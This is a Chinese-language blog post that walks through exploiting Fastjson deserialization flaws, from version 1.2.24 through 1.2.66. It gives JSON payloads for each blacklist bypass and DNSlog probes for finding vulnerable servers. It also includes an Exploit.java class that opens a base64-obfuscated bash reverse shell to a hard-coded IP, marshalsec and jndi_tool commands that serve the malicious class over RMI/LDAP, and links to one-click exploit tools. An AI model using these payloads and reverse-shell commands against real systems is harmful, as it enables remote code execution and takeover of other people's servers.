Fastjson是阿里巴巴公司开源的一个高性能的Java库,专门用于处理JSON数据格式。它不仅能够将Java对象序列化为JSON格式的字符串,还能将JSON字符串反序列化为Java对象。

https://www.runoob.com/w3cnote/fastjson-intro.html

历史漏洞

  • Fastjson <=1.2.24 反序列化远程命令执行漏洞

  • Fastjson <=1.2.41 反序列化远程命令执行漏洞

  • Fastjson <=1.2.42 反序列化远程命令执行漏洞

  • Fastjson <=1.2.43 反序列化远程命令执行漏洞

  • Fastjson <=1.2.45 反序列化远程命令执行漏洞

  • Fastjson <=1.2.47 反序列化远程命令执行漏洞

  • Fastjson <=1.2.62 反序列化远程命令执行漏洞

  • Fastjson <=1.2.66 反序列化远程命令执行漏洞

FastJson <= 1.2.24:

Fastjson版本 1.2.24 及之前的版本中存在一个特定的反序列化漏洞,该漏洞可以被利用来执行远程代码。这个漏洞主要由于 Fastjson 在处理 JSON 对象时,自动匹配并调用 Java 对象的 setter 方法,如果JSON 中包含了 Java 对象的setter 方法可以被调用的属性,攻击者可以利用这个特性来触发恶意行为。

例如,攻击者可以构造一个包含特定类引I用的JSON对象,该类具有可以执行系统命令的setter 方法。当 Fastjson 尝试反序列化这个 JSON 对象时,它将自动调用这些 setter 方法,从而可能执行攻击者的代码。

为了修复这个问题,Fastjson 的开发者在后续版本中引l入了额外的安全措施,例如:

  • 黑白名单:允许用户指定哪些类可以被反序列化,哪些类应该被排除。

  • autoTypeSupport:默认情况下禁用自动类型支持,需要显式开启。

  • 增强的安全性:在解析 JSON 时增加了更多的安全检查。

Poc:

@type:目标反序列化类名;

dataSourceName:RMI注册中心绑定恶意服务;

autoCommit:在Fastjson JdbcRowSetImpl链中反序列化时,会去调用setAutoCommit方法。

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://ip:1389/Exploit", "autoCommit":true} 

FastJson <= 1.2.41

第一个 Fastjson 反序列化漏洞爆出后,阿里在 1.2.25 版本设置了 autoTypeSupport 属性默认为false,并且增加了 checkAutoType()函数,通过黑白名单的方式来防御 Fastjson 反序列化漏洞,因此后面发现的Fastjson 反序列化漏洞都是针对黑名单绕过来实现攻击利用的目的的。

com.sun.rowset.jdbcRowSetlmpl 在 1.2.25 版本被加入了黑名单,Fastjson 有个判断条件判断类名是否以"L"开头、以";"结尾,是的话就提取出其中的类名在加载进来那么就可以构造如下 EXP。

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName":"rmi://ip:9999/Exploit", "autoCommit":true}

FastJson <= 1.2.42

阿里在发现这个绕过漏洞之后做出了类名如果为L开头;结尾的时候就先去掉L和;进行黑名单检验的方法,但是没有考虑到双写或多写的情况,也就是说这种方法只能防御一组[和;,构造exp如下,即双写和;

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName":"rmi://x.x.x.x:9999/exp", "autoCommit":true}

FastJson <= 1.2.47

在1.2.47版本及以下的情况下,loadclass 中默认 cache 为 true,首先使用 java.lang.Class 把获取到的类缓存到mapping 中,然后直接从缓存中获取到了com.sun.rowset.jdbcRowSetlmpl 这个类,即可绕过黑名单。

{ "a": { "@type": "java.lang.Class",  "val": "com.sun.rowset.JdbcRowSetImpl" },  "b": { "@type": "com.sun.rowset.JdbcRowSetImpl",  "dataSourceName": "rmi://ip:9999/exp",  "autoCommit": true }}

FastJson <= 1.2.66

基于黑名单绕过,autoTypeSupport 属性为 true 才能使用,在 1.2.25 版本之后 autoTypeSupport 默认为 false。

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://ip:1389/Calc"}

{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://ip:1389/Calc"}

{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://ip:1389/Calc"}

FastJson漏洞分析

判断是否存在漏洞

报错判断

制造报错,看是否可能存在 fastjson 漏洞,这个 Whitelabel Error Page 报错页面是典型的存在漏洞的页面。

!!!注意点 : Content-Type 必须 写为 application/json !!!标明是 JSON 数据 !!!才会让服务器调用 fastjson 等相关 json 解释器!!!

Content-Type: application/json

dnslog 判断!!

原理:java.net.InetAddress这个类在实例化时会尝试对example.com进行域名解析,这时候可以通过dnslog的方式得知漏洞是否存在。

payload:

{
    "@type":"java.net.Inet4Address",
    "val":"任意字符.eyes.sh"
}

测试时发现有时在解析JSON前会判断类型是否匹配,匹配失败则在解析前抛出异常,因此更改payload为如下:

{
"name":{
    "@type":"java.net.InetAddress",
    "val":"任意字符.eyes.sh"
    }
}

高版本绕过 payload —— 需服务器开启了 autoType:

{
"name":{
    "@type":"Ljava.net.InetAddress;",
    "val":"任意字符.qydzoe.dnslog.cn"
    }
}
{
"name":{
    "@type":"LLjava.net.InetAddress;;",
    "val":"任意字符.qydzoe.dnslog.cn"
    }
}

漏洞利用姿势

JNDI + RMI

JNDI

JNDI(TheJavaNamingandDirectoryInterface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。

可以访问以下命名/目录服务:

  • RMI(JAVA远程方法调用)

  • LDAP(轻量级目录访问协议)

  • CORBA(公共对象请求代理体系结构)

  • DNS (域名服务)

RMI

RMI是Java远程方法调用,是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。

marsalsec(数据包要自己生成!!!)(LDAP和RMI手法一样,用的类不同而已)

经典三次(三段监听)全流程手工 —— 与 log4j 渗透手法实在如出一辙,放在一起比较:

流程同 log4j 一模一样,除了最后发送给服务器的 EXP 不同。

  • fastjson —— 发送 恶意 JSON 数据包(利用类进行 URL 访问我们的 RMI,RMI 再进行二次跳转下载恶意类)。

  • log4j —— 发送恶意 payload —— ${jndi:ldap://Host:Port} —— 利用上方漏洞说明中的特性,遇到 ${} 变量,xx类以 " : " 为分割,冒号后面的内容去冒号前面的类中寻找并执行,使得成功进行 ldap 重定向,于是我们传给服务器 ldap 地址访问我们的 RMI 服务即可,然后 RMI 再进行 重定向 二次跳转 下载挂载的恶意类 实现 Getshell。

log4j 的 marsalsec 也是一样的需要三次跳转,只不过第一步发给 服务器 的 EXP 不同而已:

  • fastjson 是发送相应的类执行 URL 重定向到 RMI 服务。

  • log4j 是 向服务器发送的 ldap 服务,利用 ldap 服务重定向到 RMI 服务。

具体渗透手法

  1. 生成恶意类代码文件:

// javac Exploit.java
import java.lang.Runtime;
import java.lang.Process;

public class Exploit {
    public Exploit(){
        try{
            Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNTUuMTY5LjEyOC80MjAxIDA+JjE=}|{base64,-d}|{bash,-i}");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}

javac xxx.java —— 编译

root@QiaoShen:~/QiaoShen/fastjson/marshalsec# ls
Exploit.java  marshalsec-0.0.3-SNAPSHOT-all.jar

root@QiaoShen:~/QiaoShen/fastjson/marshalsec# java -version
java version "1.8.0_421"
Java(TM) SE Runtime Environment (build 1.8.0_421-b25)
Java HotSpot(TM) 64-Bit Server VM (build 25.421-b25, mixed mode)

root@QiaoShen:~/QiaoShen/fastjson/marshalsec# javac Exploit.java 
root@QiaoShen:~/QiaoShen/fastjson/marshalsec# ls
Exploit.class  Exploit.java  marshalsec-0.0.3-SNAPSHOT-all.jar


# LDAP 则用 marshalsec.jndi.LDAPRefServer 类即可。

  1. 借助marshalsec项目启动一个RMI服务器,监听一个端口,并指定加载远程类Exploit.classmaven打包项目成jar包:

#启动 RMI 服务器手法:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://120.55.169.128:8000/#Exploit"

  1. RMI 重定向到的端口处挂起恶意类

python3 -m http.server

  1. Exp —— 向服务器发送的 JSON 数据包:

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://RMI_Server_Host:Port(挂起 RMI 服务的 VPS_ip)/恶意类名(Java 中,文件名需要是代码中的某个类才可以)",
        "autoCommit":true
    }
}
{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://120.55.169.128:42100/Exploit",
        "autoCommit":true
    }
}

成功访问 RMI 服务器并进行重定向

成功下载恶意类

反弹 Shell :

jndi_tool(RMI) —— 两段!!!自动挂起!!!

两段!!!

jndi_tool 的 RMI 方法 也是只需要两段即可。

jndi_tool 在创建 RMI 服务器端的时候,也会自动挂起恶意类,服务器发送的请求是直接访问 Download 我们的恶意类。

只需要:

  • jndi_tool 生成payload。

  • VPS 监听 端口。

  • 向服务器发送 jndi_tool 生成的 payload。

jndi_tool 使用方法:

java -cp jndi_tool.jar jndi.HRMIServer Host Port "要执行的命令"
java -cp jndi_tool.jar jndi.HRMIServer 120.55.169.128 42100 "/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNTUuMTY5LjEyOC80MjAxIDA+JjE=}|{base64,-d}|{bash,-i}"

成功反弹 Shell ,注意是用下面的这个 完整 payload !!!

jndi_tool(LDAP) —— 两段!!!自动挂起!!!

两段!!!

原理和 jndi_tool 的 RMI 完全相同

只是服务不同,一个是 RMI 一个是 LDAP 而已。

推荐 LDAP ,高版本 Java 很多都会禁用 RMI 的端口,LDAP 很多时候可以绕过,且 LDAP 可以结合高阶渗透应用。

java -cp jndi_tool.jar jndi.HLDAPServer 120.55.169.128 42100 Host Port "要执行的命令"
java -cp jndi_tool.jar jndi.HLDAPServer 120.55.169.128 42100 "/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNTUuMTY5LjEyOC80MjAxIDA+JjE=}|{base64,-d}|{bash,-i}"

成功反弹 Shell

脚本!!!

现在才开始脚本,别搞混了。

FastJsonVulnExp(神器!!!推荐)

git clone https://gitee.com/yijingsec/FastJsonVulnExp.git

cd FastJsonVulnExp

python fastjson_tool.py

只用两段(神器!!) —— 自动生成恶意类并启动 LDAP 或 RMI 服务成为服务端,并在 LDAP 或 RMI 服务端口自动挂载恶意类。

RMI 成功反弹 Shell:

LDAP 成功反弹 Shell:



jndi_marsalsec(三次!!不推荐!!但是也可以一键生成 log4j ,但是还是难用!!)(该工具唯一的作用就是生成了发往 服务器的 EXP_Payload)

下载脚本:

git clone https://gitee.com/yijingsec/jndi_marshalsec.git

cd jndi_marshalsec

python jndi_marshalsec.py

两段

三段!!!!!!!!!

工具生成 payload

挂起重定向恶意类 Http 服务

监听端口即可。

向服务器发送恶意 EXP !

生成payload

成功访问 LDAP 服务,反弹 Shell

RMI 成功反弹:

LDAP:

RMI:


LDAP:

RMI:




总结:

jndi的tool 和 marsalsec 作用是一样的!!!!

都是启动 RMI 或者 LDAP 服务成为服务端!!!然后生成 payload !!他俩同时存在一个即可不会同时使用!!!

文章作者: QiaoShen
本文链接:
版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 QiaoShen-World
漏洞详解 基础 姿势 渗透 fastjson
喜欢就支持一下吧